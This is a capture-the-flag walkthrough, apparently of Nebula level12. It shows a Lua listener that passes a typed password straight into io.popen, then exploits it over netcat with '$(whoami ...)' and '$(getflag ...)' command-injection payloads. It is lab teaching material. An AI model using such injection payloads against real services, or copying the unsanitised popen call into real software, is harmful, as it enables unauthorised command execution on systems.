Level12 informs us that “There is a backdoor process listening on port 50001.”
We are also provided with level12.lua:
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
The above code accepts user input, hashes it, and compares it to a hard coded hash. The line that drew my attention was here:
prog = io.popen("echo "..password.." | sha1sum", "r")
I found a great write-up on io.popen on Full Disclosure from May 2014.
“In Lua, this kind of vulnerability occurs, for example, when a developer uses unvalidated user data to run operating system commands via the os.execute() or io.popen() Lua functions.”
That sounds like the exact code we are looking at - unvalidated user data via the io.popen() Lua function.
Let’s attempt command injection:
level12@nebula:/home/flag12$ nc 127.0.0.1 50001
Password: $(whoami > /home/flag12/foo)
Better luck next time
level12@nebula:/home/flag12$ ls
flag12.lua foo
level12@nebula:/home/flag12$ cat foo
flag12
It worked! Since the output verified that the system commands are running as flag12, we should be able to execute getflag:
level12@nebula:/home/flag12$ nc 127.0.0.1 50001
Password: $(getflag > /home/flag12/bar)
Better luck next time
level12@nebula:/home/flag12$ ls
bar flag12.lua foo
level12@nebula:/home/flag12$ cat bar
You have successfully executed getflag on a target account
Thanks for reading!